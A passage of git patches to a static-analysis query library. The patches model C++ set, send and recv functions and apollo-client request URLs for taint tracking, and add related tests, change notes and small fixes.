a/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll @@ -5,14 +5,18 @@ import semmle.code.cpp.models.interfaces.Taint import semmle.code.cpp.models.interfaces.Iterator +/** + * An instantiation of `std::set` or `std::unordered_set`. + */ +class StdSet extends ClassTemplateInstantiation { + StdSet() { this.hasQualifiedName("std", ["set", "unordered_set"]) } +} + /** * Additional model for set constructors using iterator inputs. */ private class StdSetConstructor extends Constructor, TaintFunction { - StdSetConstructor() { - this.hasQualifiedName("std", "set", "set") or - this.hasQualifiedName("std", "unordered_set", "unordered_set") - } + StdSetConstructor() { this.getDeclaringType() instanceof StdSet } /** * Gets the index of a parameter to this function that is an iterator. @@ -36,7 +40,7 @@ private class StdSetConstructor extends Constructor, TaintFunction { * The standard set `insert` and `insert_or_assign` functions. */ private class StdSetInsert extends TaintFunction { - StdSetInsert() { this.hasQualifiedName("std", ["set", "unordered_set"], "insert") } + StdSetInsert() { this.getClassAndName("insert") instanceof StdSet } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from last parameter to qualifier and return value @@ -53,9 +57,7 @@ private class StdSetInsert extends TaintFunction { * The standard set `emplace` and `emplace_hint` functions. */ private class StdSetEmplace extends TaintFunction { - StdSetEmplace() { - this.hasQualifiedName("std", ["set", "unordered_set"], ["emplace", "emplace_hint"]) - } + StdSetEmplace() { this.getClassAndName(["emplace", "emplace_hint"]) instanceof StdSet } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from any parameter to qualifier and return value @@ -76,7 +78,7 @@ private class StdSetEmplace extends TaintFunction { * The standard set `merge` function. */ private class StdSetMerge extends TaintFunction { - StdSetMerge() { this.hasQualifiedName("std", ["set", "unordered_set"], "merge") } + StdSetMerge() { this.getClassAndName("merge") instanceof StdSet } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // container1.merge(container2) @@ -89,7 +91,7 @@ private class StdSetMerge extends TaintFunction { * The standard set `find` function. */ private class StdSetFind extends TaintFunction { - StdSetFind() { this.hasQualifiedName("std", ["set", "unordered_set"], "find") } + StdSetFind() { this.getClassAndName("find") instanceof StdSet } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { input.isQualifierObject() and @@ -101,7 +103,7 @@ private class StdSetFind extends TaintFunction { * The standard set `erase` function. */ private class StdSetErase extends TaintFunction { - StdSetErase() { this.hasQualifiedName("std", ["set", "unordered_set"], "erase") } + StdSetErase() { this.getClassAndName("erase") instanceof StdSet } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to iterator return value @@ -116,8 +118,7 @@ private class StdSetErase extends TaintFunction { */ private class StdSetEqualRange extends TaintFunction { StdSetEqualRange() { - this.hasQualifiedName("std", ["set", "unordered_set"], - ["lower_bound", "upper_bound", "equal_range"]) + this.getClassAndName(["lower_bound", "upper_bound", "equal_range"]) instanceof StdSet } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { From 91627cbd88ea8606cf2a51ff4233f383423291ef Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 11 Feb 2021 17:21:32 +0100 Subject: [PATCH 1160/1241] C++: Add models for BSD-style send and recv functions. --- cpp/ql/src/semmle/code/cpp/models/Models.qll | 2 + .../code/cpp/models/implementations/Recv.qll | 73 +++++++++++++++++++ .../code/cpp/models/implementations/Send.qll | 55 ++++++++++++++ .../code/cpp/models/interfaces/FlowSource.qll | 9 +++ .../semmle/code/cpp/security/FlowSources.qll | 28 +++++++ .../src/semmle/code/cpp/security/Security.qll | 15 +++- .../defaulttainttracking.cpp | 19 +++++ .../remote-flow-sink.expected | 0 .../annotate_sinks_only/remote-flow-sink.ql | 20 +++++ 9 files changed, 220 insertions(+), 1 deletion(-) create mode 100644 cpp/ql/src/semmle/code/cpp/models/implementations/Recv.qll create mode 100644 cpp/ql/src/semmle/code/cpp/models/implementations/Send.qll create mode 100644 cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/remote-flow-sink.expected create mode 100644 cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/remote-flow-sink.ql diff --git a/cpp/ql/src/semmle/code/cpp/models/Models.qll b/cpp/ql/src/semmle/code/cpp/models/Models.qll index 7ec66b3a2e9..c36c1da9bcd 100644 --- a/cpp/ql/src/semmle/code/cpp/models/Models.qll +++ b/cpp/ql/src/semmle/code/cpp/models/Models.qll @@ -28,3 +28,5 @@ private import implementations.Swap private import implementations.GetDelim private import implementations.SmartPointer private import implementations.Sscanf +private import implementations.Send +private import implementations.Recv diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Recv.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Recv.qll new file mode 100644 index 00000000000..e7d52472d1d --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Recv.qll @@ -0,0 +1,73 @@ +/** + * Provides implementation classes modeling `recv` and various similar + * functions. See `semmle.code.cpp.models.Models` for usage information. + */ + +import semmle.code.cpp.models.interfaces.Taint +import semmle.code.cpp.models.interfaces.ArrayFunction +import semmle.code.cpp.models.interfaces.Alias +import semmle.code.cpp.models.interfaces.FlowSource +import semmle.code.cpp.models.interfaces.SideEffect + +/** The function `recv` and its assorted variants */ +private class Recv extends AliasFunction, ArrayFunction, SideEffectFunction, RemoteFlowFunction { + Recv() { + this.hasGlobalName([ + "recv", // recv(socket, dest, len, flags) + "recvfrom", // recvfrom(socket, dest, len, flags, from, fromlen) + "read", // read(socket, dest, len) + "pread" // pread(socket, dest, len, offset) + ]) + } + + override predicate parameterNeverEscapes(int index) { + this.getParameter(index).getUnspecifiedType() instanceof PointerType + } + + override predicate parameterEscapesOnlyViaReturn(int index) { none() } + + override predicate parameterIsAlwaysReturned(int index) { none() } + + override predicate hasArrayWithVariableSize(int bufParam, int countParam) { + bufParam = 1 and countParam = 2 + } + + override predicate hasArrayInput(int bufParam) { this.hasGlobalName("recvfrom") and bufParam = 4 } + + override predicate hasArrayOutput(int bufParam) { + bufParam = 1 + or + this.hasGlobalName("recvfrom") and bufParam = 4 + } + + override predicate hasSpecificReadSideEffect(ParameterIndex i, boolean buffer) { + this.hasGlobalName("recvfrom") and + ( + i = 4 and buffer = true + or + i = 5 and buffer = false + ) + } + + override ParameterIndex getParameterSizeIndex(ParameterIndex i) { i = 1 and result = 2 } + + override predicate hasSpecificWriteSideEffect(ParameterIndex i, boolean buffer, boolean mustWrite) { + i = 1 and buffer = true and mustWrite = false + or + this.hasGlobalName("recvfrom") and + ( + i = 4 and buffer = true and mustWrite = false + or + i = 5 and buffer = false and mustWrite = false + ) + } + + override predicate hasOnlySpecificReadSideEffects() { any() } + + override predicate hasOnlySpecificWriteSideEffects() { any() } + + override predicate hasRemoteFlowSource(FunctionOutput output, string description) { + output.isParameterDeref(1) and + description = "Buffer read by " + this.getName() + } +} diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Send.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Send.qll new file mode 100644 index 00000000000..414cbd13e7d --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Send.qll @@ -0,0 +1,55 @@ +/** + * Provides implementation classes modeling `send` and various similar + * functions. See `semmle.code.cpp.models.Models` for usage information. + */ + +import semmle.code.cpp.models.interfaces.Taint +import semmle.code.cpp.models.interfaces.ArrayFunction +import semmle.code.cpp.models.interfaces.Alias +import semmle.code.cpp.models.interfaces.FlowSource +import semmle.code.cpp.models.interfaces.SideEffect + +/** The function `send` and its assorted variants */ +private class Send extends AliasFunction, ArrayFunction, SideEffectFunction, RemoteFlowFunctionSink { + Send() { + this.hasGlobalName([ + "send", // send(socket, buf, len, flags) + "sendto", // sendto(socket, buf, len, flags, to, tolen) + "write" // write(socket, buf, len); + ]) + } + + override predicate parameterNeverEscapes(int index) { + this.getParameter(index).getUnspecifiedType() instanceof PointerType + } + + override predicate parameterEscapesOnlyViaReturn(int index) { none() } + + override predicate parameterIsAlwaysReturned(int index) { none() } + + override predicate hasArrayWithVariableSize(int bufParam, int countParam) { + bufParam = 1 and countParam = 2 + } + + override predicate hasArrayInput(int bufParam) { bufParam = 1 } + + override predicate hasOnlySpecificReadSideEffects() { any() } + + override predicate hasOnlySpecificWriteSideEffects() { any() } + + override predicate hasSpecificWriteSideEffect(ParameterIndex i, boolean buffer, boolean mustWrite) { + none() + } + + override predicate hasSpecificReadSideEffect(ParameterIndex i, boolean buffer) { + i = 1 and buffer = true + or + exists(this.getParameter(4)) and i = 4 and buffer = false + } + + override ParameterIndex getParameterSizeIndex(ParameterIndex i) { i = 1 and result = 2 } + + override predicate hasRemoteFlowSink(FunctionInput input, string description) { + input.isParameterDeref(1) and description = "Buffer sent by " + this.getName() + } +} diff --git a/cpp/ql/src/semmle/code/cpp/models/interfaces/FlowSource.qll b/cpp/ql/src/semmle/code/cpp/models/interfaces/FlowSource.qll index c0c95b38756..b3b5d8850ba 100644 --- a/cpp/ql/src/semmle/code/cpp/models/interfaces/FlowSource.qll +++ b/cpp/ql/src/semmle/code/cpp/models/interfaces/FlowSource.qll @@ -29,3 +29,12 @@ abstract class LocalFlowFunction extends Function { */ abstract predicate hasLocalFlowSource(FunctionOutput output, string description); } + +/** A library function that sends data over a network connection. */ +abstract class RemoteFlowFunctionSink extends Function { + /** + * Holds if data described by `description` flows into `input` to a call to this function, and is then + * send over a network connection. + */ + abstract predicate hasRemoteFlowSink(FunctionInput input, string description); +} diff --git a/cpp/ql/src/semmle/code/cpp/security/FlowSources.qll b/cpp/ql/src/semmle/code/cpp/security/FlowSources.qll index c8bad67352b..e3900f1799b 100644 --- a/cpp/ql/src/semmle/code/cpp/security/FlowSources.qll +++ b/cpp/ql/src/semmle/code/cpp/security/FlowSources.qll @@ -98,3 +98,31 @@ private class ArgvSource extends LocalFlowSource { override string getSourceType() { result = "a command-line argument" } } + +/** A remote data flow sink. */ +abstract class RemoteFlowSink extends DataFlow::Node { + /** Gets a string that describes the type of this flow sink. */ + abstract string getSinkType(); +} + +private class RemoteParameterSink extends RemoteFlowSink { + string sourceType; + + RemoteParameterSink() { + exists(RemoteFlowFunctionSink func, FunctionInput input, CallInstruction call, int index | + func.hasRemoteFlowSink(input, sourceType) and call.getStaticCallTarget() = func + | + exists(ReadSideEffectInstruction read | + call = read.getPrimaryInstruction() and + read.getIndex() = index and + this.asOperand() = read.getSideEffectOperand() and + input.isParameterDerefOrQualifierObject(index) + ) + or + input.isParameterOrQualifierAddress(index) and + this.asOperand() = call.getArgumentOperand(index) + ) + } + + override string getSinkType() { result = sourceType } +} diff --git a/cpp/ql/src/semmle/code/cpp/security/Security.qll b/cpp/ql/src/semmle/code/cpp/security/Security.qll index 16dc89d9a6e..15e9d86ad6a 100644 --- a/cpp/ql/src/semmle/code/cpp/security/Security.qll +++ b/cpp/ql/src/semmle/code/cpp/security/Security.qll @@ -6,6 +6,7 @@ import semmle.code.cpp.exprs.Expr import semmle.code.cpp.commons.Environment import semmle.code.cpp.security.SecurityOptions +import semmle.code.cpp.models.interfaces.FlowSource /** * Extend this class to customize the security queries for @@ -60,7 +61,7 @@ class SecurityOptions extends string { functionCall.getTarget().hasGlobalName(fname) and exists(functionCall.getArgument(arg)) and ( - fname = ["read", "recv", "recvmsg"] and arg = 1 + fname = "recvmsg" and arg = 1 or fname = "getaddrinfo" and arg = 3 or @@ -68,6 +69,12 @@ class SecurityOptions extends string { (arg = 1 or arg = 4 or arg = 5) ) ) + or + exists(RemoteFlowFunction remote, FunctionOutput output | + functionCall.getTarget() = remote and + output.isParameterDerefOrQualifierObject(arg) and + remote.hasRemoteFlowSource(output, _) + ) } /** @@ -81,6 +88,12 @@ class SecurityOptions extends string { userInputReturn(fname) ) ) + or + exists(RemoteFlowFunction remote, FunctionOutput output | + functionCall.getTarget() = remote and + (output.isReturnValue() or output.isReturnValueDeref()) and + remote.hasRemoteFlowSource(output, _) + ) } /** diff --git a/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/defaulttainttracking.cpp b/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/defaulttainttracking.cpp index b24efc1dc8e..6156e80015c 100644 --- a/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/defaulttainttracking.cpp +++ b/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/defaulttainttracking.cpp @@ -216,3 +216,22 @@ void test_pointers2() sink(ptr4); // clean sink(*ptr4); // $ MISSING: ast,ir } + +// --- recv --- + +int recv(int s, char* buf, int len, int flags); + +void test_recv() { + char buffer[1024]; + recv(0, buffer, sizeof(buffer), 0); + sink(buffer); // $ ast,ir + sink(*buffer); // $ ast,ir +} + +// --- send --- + +int send(int, const void*, int, int); + +void test_send(char* buffer, int length) { + send(0, buffer, length, 0); // $ remote +} \ No newline at end of file diff --git a/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/remote-flow-sink.expected b/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/remote-flow-sink.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/remote-flow-sink.ql b/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/remote-flow-sink.ql new file mode 100644 index 00000000000..4fbbe8fa3bf --- /dev/null +++ b/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/remote-flow-sink.ql @@ -0,0 +1,20 @@ +/** This tests that we are able to detect remote flow sinks. */ + +import cpp +import TestUtilities.InlineExpectationsTest +import semmle.code.cpp.security.FlowSources + +class RemoteFlowSinkTest extends InlineExpectationsTest { + RemoteFlowSinkTest() { this = "RemoteFlowSinkTest" } + + override string getARelevantTag() { result = "remote" } + + override predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "remote" and + value = "" and + exists(RemoteFlowSink node | + location = node.getLocation() and + element = node.toString() + ) + } +} From 6f405635ef6fe3ca7343f64c403c4d2a816f4ee6 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 11 Feb 2021 17:49:44 +0100 Subject: [PATCH 1161/1241] add ClientRequest model for apollo-client --- .../javascript/frameworks/ClientRequests.qll | 31 +++++++++++++++++++ .../ClientRequests/ClientRequests.expected | 12 +++++++ .../frameworks/ClientRequests/apollo.js | 23 ++++++++++++++ 3 files changed, 66 insertions(+) create mode 100644 javascript/ql/test/library-tests/frameworks/ClientRequests/apollo.js diff --git a/javascript/ql/src/semmle/javascript/frameworks/ClientRequests.qll b/javascript/ql/src/semmle/javascript/frameworks/ClientRequests.qll index f405b28beca..34f878c125f 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/ClientRequests.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/ClientRequests.qll @@ -823,4 +823,35 @@ module ClientRequest { override DataFlow::Node getADataNode() { none() } } + + /** + * Classes and predicates modelling the `apollo-client` library. + */ + private module ApolloClient { + /** + * A function from `apollo-client` that accepts an options object that may contain a `uri` property. + */ + API::Node apolloUriCallee() { + result = API::moduleImport("apollo-link-http").getMember(["HttpLink", "createHttpLink"]) + or + result = + API::moduleImport(["apollo-boost", "apollo-client", "apollo-client-preset"]) + .getMember(["ApolloClient", "HttpLink", "createNetworkInterface"]) + or + result = API::moduleImport("apollo-link-ws").getMember("WebSocketLink") + } + + /** + * A model of a URL request made using apollo-client. + */ + class ApolloClientRequeist extends ClientRequest::Range, API::InvokeNode { + ApolloClientRequeist() { this = apolloUriCallee().getAnInvocation() } + + override DataFlow::Node getUrl() { result = getParameter(0).getMember("uri").getARhs() } + + override DataFlow::Node getHost() { none() } + + override DataFlow::Node getADataNode() { none() } + } + } } diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected index 5ba426c968f..47c340f7a8e 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected @@ -1,4 +1,10 @@ test_ClientRequest +| apollo.js:5:18:5:78 | new cre ... hql' }) | +| apollo.js:10:1:10:54 | new Htt ... hql' }) | +| apollo.js:14:16:14:69 | new Apo ... .com'}) | +| apollo.js:17:1:17:34 | new Pre ... yurl"}) | +| apollo.js:20:1:20:77 | createN ... phql'}) | +| apollo.js:23:1:23:31 | new Web ... wsUri}) | | tst.js:11:5:11:16 | request(url) | | tst.js:13:5:13:20 | request.get(url) | | tst.js:15:5:15:23 | request.delete(url) | @@ -111,6 +117,12 @@ test_getHost | tst.js:93:5:93:35 | net.req ... host }) | tst.js:93:29:93:32 | host | | tst.js:219:5:219:41 | data.so ... Host"}) | tst.js:219:32:219:39 | "myHost" | test_getUrl +| apollo.js:5:18:5:78 | new cre ... hql' }) | apollo.js:5:44:5:75 | 'https: ... raphql' | +| apollo.js:10:1:10:54 | new Htt ... hql' }) | apollo.js:10:21:10:51 | 'http:/ ... raphql' | +| apollo.js:14:16:14:69 | new Apo ... .com'}) | apollo.js:14:39:14:67 | 'https: ... le.com' | +| apollo.js:17:1:17:34 | new Pre ... yurl"}) | apollo.js:17:26:17:32 | "myurl" | +| apollo.js:20:1:20:77 | createN ... phql'}) | apollo.js:20:30:20:75 | 'https: ... raphql' | +| apollo.js:23:1:23:31 | new Web ... wsUri}) | apollo.js:23:25:23:29 | wsUri | | tst.js:11:5:11:16 | request(url) | tst.js:11:13:11:15 | url | | tst.js:13:5:13:20 | request.get(url) | tst.js:13:17:13:19 | url | | tst.js:15:5:15:23 | request.delete(url) | tst.js:15:20:15:22 | url | diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/apollo.js b/javascript/ql/test/library-tests/frameworks/ClientRequests/apollo.js new file mode 100644 index 00000000000..9aff4e64ab1 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/apollo.js @@ -0,0 +1,23 @@ +import { ApolloClient } from 'apollo-client' +import { HttpLink } from 'apollo-link-http' +import { createHttpLink } from 'apollo-link-http' + +const httpLink = new createHttpLink({ uri: 'https://api.github.com/graphql' }) // url 1 + +const ApolloClient = require('apollo-client-preset').ApolloClient; +const HttpLink = require('apollo-link-http').HttpLink; + +new HttpLink({ uri: 'http://localhost:8080/graphql' }); // url 2 + +import ApolloClient from 'apollo-boost'; // / 'apollo-client' + +const client = new ApolloClient({uri: 'https://graphql.example.com'}); // url 3 + +let PresetHttpLink = require('apollo-client-preset').HttpLink; +new PresetHttpLink({uri: "myurl"}); // url 4 + +import { createNetworkInterface } from 'apollo-client'; +createNetworkInterface({uri: 'https://web-go-demo.herokuapp.com/__/graphql'}) // url 5 + +const { WebSocketLink } = require('apollo-link-ws') +new WebSocketLink({uri: wsUri}) // url 6 \ No newline at end of file From 004147a22fda52a7585a3814ba64544f174b9b60 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 11 Feb 2021 17:54:53 +0100 Subject: [PATCH 1162/1241] add change note --- javascript/change-notes/2021-02-11-apollo-client.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 javascript/change-notes/2021-02-11-apollo-client.md diff --git a/javascript/change-notes/2021-02-11-apollo-client.md b/javascript/change-notes/2021-02-11-apollo-client.md new file mode 100644 index 00000000000..93ec78f1f41 --- /dev/null +++ b/javascript/change-notes/2021-02-11-apollo-client.md @@ -0,0 +1,8 @@ +lgtm,codescanning +* URIs used in the Apollo-link libraries are now recognized as sinks for `js/request-forgery`. + Affected packages are + [apollo-link-http](https://www.npmjs.com/package/apollo-link-http), + [apollo-client](https://www.npmjs.com/package/apollo-client), + [apollo-boost](https://www.npmjs.com/package/apollo-boost), + [apollo-client-preset](https://www.npmjs.com/package/apollo-client-preset), and + [apollo-link-ws](https://www.npmjs.com/package/apollo-link-ws) From 354f21f2c326c08eb663d557af980a3af9d169a8 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 11 Feb 2021 14:22:46 +0000 Subject: [PATCH 1163/1241] C++: BSL support. --- cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll | 2 +- cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll index 1d8c4ea44d1..42c3b9025f8 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll @@ -8,7 +8,7 @@ import semmle.code.cpp.models.interfaces.Taint * An instantiation of `std::pair`. */ class StdPair extends ClassTemplateInstantiation { - StdPair() { this.hasQualifiedName("std", "pair") } + StdPair() { this.hasQualifiedName(["std", "bsl"], "pair") } } /** diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll index 5c30afca572..68e78776968 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll @@ -9,7 +9,7 @@ import semmle.code.cpp.models.interfaces.Iterator * An instantiation of `std::set` or `std::unordered_set`. */ class StdSet extends ClassTemplateInstantiation { - StdSet() { this.hasQualifiedName("std", ["set", "unordered_set"]) } + StdSet() { this.hasQualifiedName(["std", "bsl"], ["set", "unordered_set"]) } } /** From e89891fa1fa01a1e1711a7daef3ef8fe45bf2781 Mon Sep 17 00:00:00 2001 From: Marcono1234 Date: Fri, 12 Feb 2021 01:30:47 +0100 Subject: [PATCH 1164/1241] Address review comments --- java/ql/src/semmle/code/xml/MavenPom.qll | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/java/ql/src/semmle/code/xml/MavenPom.qll b/java/ql/src/semmle/code/xml/MavenPom.qll index 30c1e673b23..bbbb4580340 100644 --- a/java/ql/src/semmle/code/xml/MavenPom.qll +++ b/java/ql/src/semmle/code/xml/MavenPom.qll @@ -167,7 +167,7 @@ class Pom extends ProtoPom { Pom getParentPom() { result = getParentElement().getPom() } /** - * Gets the version specified for dependency _dep_ in a `dependencyManagement` + * Gets the version specified for dependency `dep` in a `dependencyManagement` * section in this POM or one of its ancestors, or an empty string if no version * is specified. */ @@ -343,7 +343,7 @@ class DependencyManagement extends PomElement { /** * Gets a dependency declared in this `dependencyManagement` element that has - * the same (short) coordinates as _dep_. + * the same (short) coordinates as `dep`. */ Dependency getDependency(Dependency dep) { result = getADependency() and @@ -383,7 +383,7 @@ class MavenRepo extends Folder { /** * Gets any jar artifacts in this repository that match the POM project definition. This is an * over approximation. For soft qualifiers (e.g. 1.0) precise matches are returned in preference - * to artifact only matches. For hard qualifiers (e.g. [1.0]) only precise matches are returned. + * to artifact-only matches. For hard qualifiers (e.g. [1.0]) only precise matches are returned. * For all other qualifiers, all matches are returned regardless of version. */ MavenRepoJar getAnArtifact(ProtoPom pom) { From 0aded1549eff5acd3c2d476c5eee6453e1517885 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 12 Feb 2021 09:33:33 +0100 Subject: [PATCH 1165/1241] Improve NestedLoopsSameVariable query performance --- csharp/ql/src/Likely Bugs/NestedLoopsSameVariable.ql | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/csharp/ql/src/Likely Bugs/NestedLoopsSameVariable.ql b/csharp/ql/src/Likely Bugs/NestedLoopsSameVariable.ql index 3e71e7c7894..f0eb93926c0 100644 --- a/csharp/ql/src/Likely Bugs/NestedLoopsSameVariable.ql +++ b/csharp/ql/src/Likely Bugs/NestedLoopsSameVariable.ql @@ -28,7 +28,8 @@ class NestedForConditions extends SC::StructuralComparisonConfiguration { } private predicate hasChild(Stmt outer, Element child) { - outer = child.getParent() + outer = child.getParent() and + (outer instanceof ForStmt or outer = any(ForStmt f).getBody()) or hasChild(outer, child.getParent()) } From ed2dc5f6ad7c85a635306f10393a36f0c0ad6fe7 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Fri, 12 Feb 2021 10:26:31 +0100 Subject: [PATCH 1166/1241] Python: Fix date for change-note --- ...1-django-improvements.md => 2021-02-10-django-improvements.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename python/change-notes/{2021-12-21-django-improvements.md => 2021-02-10-django-improvements.md} (100%) diff --git a/python/change-notes/2021-12-21-django-improvements.md b/python/change-notes/2021-02-10-django-improvements.md similarity index 100% rename from python/change-notes/2021-12-21-django-improvements.md rename to python/change-notes/2021-02-10-django-improvements.md From b1c7cb63968e391c8da7d64a932d4282196ac50b Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 12 Feb 2021 10:31:27 +0100 Subject: [PATCH 1167/1241] C++: Address review comments. --- .../CWE/CWE-020/ExternalAPIsSpecific.qll | 2 +- .../code/cpp/models/implementations/Fread.qll | 2 +- .../cpp/models/implementations/GetDelim.qll | 2 +- .../code/cpp/models/implementations/Getenv.qll | 2 +- .../code/cpp/models/implementations/Gets.qll | 2 +- .../code/cpp/models/implementations/Recv.qll | 18 +++++++++++++++--- .../code/cpp/models/implementations/Send.qll | 11 ++++++++--- .../code/cpp/models/interfaces/FlowSource.qll | 12 ++++++------ .../semmle/code/cpp/security/FlowSources.qll | 10 +++++----- .../src/semmle/code/cpp/security/Security.qll | 14 ++++---------- 10 files changed, 43 insertions(+), 32 deletions(-) diff --git a/cpp/ql/src/Security/CWE/CWE-020/ExternalAPIsSpecific.qll b/cpp/ql/src/Security/CWE/CWE-020/ExternalAPIsSpecific.qll index 788baeddbff..9ca598f86d6 100644 --- a/cpp/ql/src/Security/CWE/CWE-020/ExternalAPIsSpecific.qll +++ b/cpp/ql/src/Security/CWE/CWE-020/ExternalAPIsSpecific.qll @@ -46,7 +46,7 @@ class UntrustedDataToExternalAPIConfig extends TaintTracking::Configuration { UntrustedDataToExternalAPIConfig() { this = "UntrustedDataToExternalAPIConfig" } override predicate isSource(DataFlow::Node source) { - exists(RemoteFlowFunction remoteFlow | + exists(RemoteFlowSourceFunction remoteFlow | remoteFlow = source.asExpr().(Call).getTarget() and remoteFlow.hasRemoteFlowSource(_, _) ) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Fread.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Fread.qll index 11568c8a974..9524b18b0a2 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Fread.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Fread.qll @@ -1,7 +1,7 @@ import semmle.code.cpp.models.interfaces.Alias import semmle.code.cpp.models.interfaces.FlowSource -private class Fread extends AliasFunction, RemoteFlowFunction { +private class Fread extends AliasFunction, RemoteFlowSourceFunction { Fread() { this.hasGlobalName("fread") } override predicate parameterNeverEscapes(int n) { diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/GetDelim.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/GetDelim.qll index 3561caee7fb..e2015406346 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/GetDelim.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/GetDelim.qll @@ -7,7 +7,7 @@ import semmle.code.cpp.models.interfaces.FlowSource * The standard functions `getdelim`, `getwdelim` and the glibc variant `__getdelim`. */ private class GetDelimFunction extends TaintFunction, AliasFunction, SideEffectFunction, - RemoteFlowFunction { + RemoteFlowSourceFunction { GetDelimFunction() { hasGlobalName(["getdelim", "getwdelim", "__getdelim"]) } override predicate hasTaintFlow(FunctionInput i, FunctionOutput o) { diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Getenv.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Getenv.qll index 9761a4293a8..93b601de752 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Getenv.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Getenv.qll @@ -8,7 +8,7 @@ import semmle.code.cpp.models.interfaces.FlowSource /** * The POSIX function `getenv`. */ -class Getenv extends LocalFlowFunction { +class Getenv extends LocalFlowSourceFunction { Getenv() { this.hasGlobalName("getenv") } override predicate hasLocalFlowSource(FunctionOutput output, string description) { diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Gets.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Gets.qll index 91653cd6b37..f698a1209f4 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Gets.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Gets.qll @@ -14,7 +14,7 @@ import semmle.code.cpp.models.interfaces.FlowSource * The standard functions `gets` and `fgets`. */ private class GetsFunction extends DataFlowFunction, TaintFunction, ArrayFunction, AliasFunction, - SideEffectFunction, RemoteFlowFunction { + SideEffectFunction, RemoteFlowSourceFunction { GetsFunction() { // gets(str) // fgets(str, num, stream) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Recv.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Recv.qll index e7d52472d1d..ef919c9eb39 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Recv.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Recv.qll @@ -10,11 +10,13 @@ import semmle.code.cpp.models.interfaces.FlowSource import semmle.code.cpp.models.interfaces.SideEffect /** The function `recv` and its assorted variants */ -private class Recv extends AliasFunction, ArrayFunction, SideEffectFunction, RemoteFlowFunction { +private class Recv extends AliasFunction, 